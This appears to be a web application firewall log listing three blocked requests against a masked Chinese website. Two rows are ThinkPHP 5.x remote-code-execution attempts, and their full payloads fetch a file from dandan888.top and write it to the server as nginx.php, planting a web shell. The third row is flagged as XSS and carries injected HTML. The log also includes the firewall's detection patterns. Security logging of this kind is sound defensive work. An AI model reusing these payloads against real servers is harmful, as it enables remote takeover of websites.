["2021-03-20 00:39:57","60.212.16.233","GET","\/?s=..\/%09hink%5CHome\/invokefunction&function=call_user_func_array&vars%5B0%5D=assert&vars%5B1%5D%5B%5D=copy('http:\/\/dandan888.top\/dama.txt','nginx.php')","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/87.0.4280.88 Safari\/537.36","args","(invokefunction|call_user_func_array|\\\\think\\\\) >> function=call_user_func_array >> call_user_func_array","GET \/?s=..\/%09hink%5CHome\/invokefunction&function=call_user_func_array&vars%5B0%5D=assert&vars%5B1%5D%5B%5D=copy('http:\/\/dandan888.top\/dama.txt','nginx.php') HTTP\/1.1\nhost:****.cn\nconnection:keep-alive\naccept:*\/*\naccept-encoding:gzip, deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/87.0.4280.88 Safari\/537.36\n\n","ThinkPHP攻击"]
["2021-03-20 02:58:51","60.212.16.233","POST","\/?s=captcha","Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/87.0.4280.88 Safari\/537.36","post","拦截ThinkPHP 5.x RCE 攻击,并且被封锁IP","POST \/?s=captcha HTTP\/1.1\nhost:****.cn\nconnection:keep-alive\naccept:*\/*\ncontent-length:168\naccept-encoding:gzip, deflate\nuser-agent:Mozilla\/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/87.0.4280.88 Safari\/537.36\n\n_method=__construct&filter[]=call_user_func&get[]=<?php file_put_contents('nginx.php',file_get_contents('http:\/\/dandan888.top\/dama.txt'));?>&server[]=phpinfo&method=get","ThinkPHP攻击"]
["2021-03-20 06:18:05","121.226.128.7","GET","\/index.php\/p\/weixin-mpimg-get.html?id=0%3E%3C\/p%3E%3Cp%3E%E7%BA%A2%E6%97%A5%E8%8D%AF%E4%B8%9A%E6%8D%90%E8%B5%A0%E7%89%A9%E8%B5%84%3Cbr%3E%3C\/p%3E%3Cp%3E%3Cbr%3E%3C\/p%3E%3Cp%3E%20%E6%B0%91%E9%9D%A9%E4%B8%AD%E5%A4%AE%E4%BC%81%E4%B8%9A%E5%AE%B6%E8%81%94%E8%B0%8A%E4%BC%9A%E7%90%86%E4%BA%8B%E3%80%81%E5%A4%A9%E6%B4%A5%E6%B0%91%E9%9D%A9%E4%BC%81%E4%B8%9A%E5%AE%B6%E8%81%94%E8%B0%8A%E4%BC%9A%E5%89%AF%E4%BC%9A%E9%95%BF%E3%80%81%E7%BA%A2%E6%97%A5%E8%8D%AF%E4%B8%9A%E8%91%A3%E4%BA%8B%E9%95%BF%E5%A7%9A%E5%B0%8F%E9%9D%92%E4%BC%81%E4%B8%9A%E5%90%AF%E5%8A%A8%E7%AC%AC%E4%B8%80%E6%89%B9%E6%AC%A1%E7%89%A9%E8%B5%84%E6%8D%90%E8%B5%A0%EF%BC%8C%E5%90%91%E6%B9%96%E5%8C%97%E7%9A%84%E9%87%8D%E7%82%B9%E9%98%B2%E6%8E%A7%E5%8C%BB%E9%99%A2%E5%AE%9A%E5%90%91%E6%8D%90%E8%B5%A0%E4%BB%B7%E5%80%BC200%E4%BD%99%E4%B8%87%E5%85%83%E7%9A%84%E7%BA%A2%E6%97%A5%E5%BA%B7%E4%BB%81%E5%A0%82%E5%85%A8%E6%88%90%E5%88%86%E9%85%8D%E6%96%B9%E9%A2%97%E7%B2%92%E2%80%9C%E6%96%B0%E5%9E%8B%E5%86%A0%E7%8A%B6%E7%97%85%E6%AF%92%E9%A2%84%E9%98%B2%E6%96%B9%E2%80%9D%E5%8F%8A%E6%8C%87%E5%A4%B9%E5%BC%8F%E8%84%89%E6%90%8F%E8%A1%80%E6%B0%A7%E4%BB%AA%EF%BC%8C%E9%A2%84%E8%AE%A1%E8%A6%86%E7%9B%96%E4%B8%A4%E4%B8%87%E4%BD%99%E5%90%8D%E5%8C%BB%E6%8A%A4%E4%BA%BA%E5%91%98%EF%BC%8C%E6%AF%8F%E4%BD%8D%E5%8C%BB%E6%8A%A4%E4%BA%BA%E5%91%98%E8%BE%BE%E5%88%B0%E4%B8%80%E5%91%A8%E7%9A%84%E9%A2%84%E9%98%B2%E5%89%82%E9%87%8F%E3%80%82%0D%0A%09%3Cdiv%20class=","Mozilla\/5.0(Linux;U;Android 5.1.1;zh-CN;OPPO A33 Build\/LMY47V) AppleWebKit\/537.36(KHTML,like Gecko) Version\/4.0 Chrome\/40.0.2214.89 UCBrowser\/11.7.0.953 Mobile Safari\/537.36","args","\\<(iframe|script|body|img|layer|div|meta|style|base|object|input) >> id=0><\/p><p>红日药业捐赠物资<br><\/p><p><br><\/p><p> 民革中央企业家联谊会理事、天津民革企业家联谊会副会长、红日药业董事长姚小青企业启动第一批次物资捐赠，向湖北的重点防控医院定向捐赠价值200余万元的红日康仁堂全成分配方颗粒“新型冠状病毒预防方”及指夹式脉搏血氧仪，预计覆盖两万余名医护人员，每位医护人员达到一周的预防剂量。\r\n\t<div class= >> 0><\/p><p>红日药业捐赠物资<br><\/p><p><br><\/p><p> 民革中央企业家联谊会理事、天津民革企业家联谊会副会长、红日药业董事长姚小青企业启动第一批次物资捐赠，向湖北的重点防控医院定向捐赠价值200余万元的红日康仁堂全成分配方颗粒“新型冠状病毒预防方”及指夹式脉搏血氧仪，预计覆盖两万余名医护人员，每位医护人员达到一周的预防剂量。\r\n\t<div class=","GET \/index.php\/p\/weixin-mpimg-get.html?id=0%3E%3C\/p%3E%3Cp%3E%E7%BA%A2%E6%97%A5%E8%8D%AF%E4%B8%9A%E6%8D%90%E8%B5%A0%E7%89%A9%E8%B5%84%3Cbr%3E%3C\/p%3E%3Cp%3E%3Cbr%3E%3C\/p%3E%3Cp%3E%20%E6%B0%91%E9%9D%A9%E4%B8%AD%E5%A4%AE%E4%BC%81%E4%B8%9A%E5%AE%B6%E8%81%94%E8%B0%8A%E4%BC%9A%E7%90%86%E4%BA%8B%E3%80%81%E5%A4%A9%E6%B4%A5%E6%B0%91%E9%9D%A9%E4%BC%81%E4%B8%9A%E5%AE%B6%E8%81%94%E8%B0%8A%E4%BC%9A%E5%89%AF%E4%BC%9A%E9%95%BF%E3%80%81%E7%BA%A2%E6%97%A5%E8%8D%AF%E4%B8%9A%E8%91%A3%E4%BA%8B%E9%95%BF%E5%A7%9A%E5%B0%8F%E9%9D%92%E4%BC%81%E4%B8%9A%E5%90%AF%E5%8A%A8%E7%AC%AC%E4%B8%80%E6%89%B9%E6%AC%A1%E7%89%A9%E8%B5%84%E6%8D%90%E8%B5%A0%EF%BC%8C%E5%90%91%E6%B9%96%E5%8C%97%E7%9A%84%E9%87%8D%E7%82%B9%E9%98%B2%E6%8E%A7%E5%8C%BB%E9%99%A2%E5%AE%9A%E5%90%91%E6%8D%90%E8%B5%A0%E4%BB%B7%E5%80%BC200%E4%BD%99%E4%B8%87%E5%85%83%E7%9A%84%E7%BA%A2%E6%97%A5%E5%BA%B7%E4%BB%81%E5%A0%82%E5%85%A8%E6%88%90%E5%88%86%E9%85%8D%E6%96%B9%E9%A2%97%E7%B2%92%E2%80%9C%E6%96%B0%E5%9E%8B%E5%86%A0%E7%8A%B6%E7%97%85%E6%AF%92%E9%A2%84%E9%98%B2%E6%96%B9%E2%80%9D%E5%8F%8A%E6%8C%87%E5%A4%B9%E5%BC%8F%E8%84%89%E6%90%8F%E8%A1%80%E6%B0%A7%E4%BB%AA%EF%BC%8C%E9%A2%84%E8%AE%A1%E8%A6%86%E7%9B%96%E4%B8%A4%E4%B8%87%E4%BD%99%E5%90%8D%E5%8C%BB%E6%8A%A4%E4%BA%BA%E5%91%98%EF%BC%8C%E6%AF%8F%E4%BD%8D%E5%8C%BB%E6%8A%A4%E4%BA%BA%E5%91%98%E8%BE%BE%E5%88%B0%E4%B8%80%E5%91%A8%E7%9A%84%E9%A2%84%E9%98%B2%E5%89%82%E9%87%8F%E3%80%82%0D%0A%09%3Cdiv%20class= HTTP\/1.1\nhost:www.****.cn\naccept-language:zh\nconnection:Close\naccept:text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8\naccept-encoding:gzip,deflate\nuser-agent:Mozilla\/5.0(Linux;U;Android 5.1.1;zh-CN;OPPO A33 Build\/LMY47V) AppleWebKit\/537.36(KHTML,like Gecko) Version\/4.0 Chrome\/40.0.2214.89 UCBrowser\/11.7.0.953 Mobile Safari\/537.36\n\n","XSS攻击"]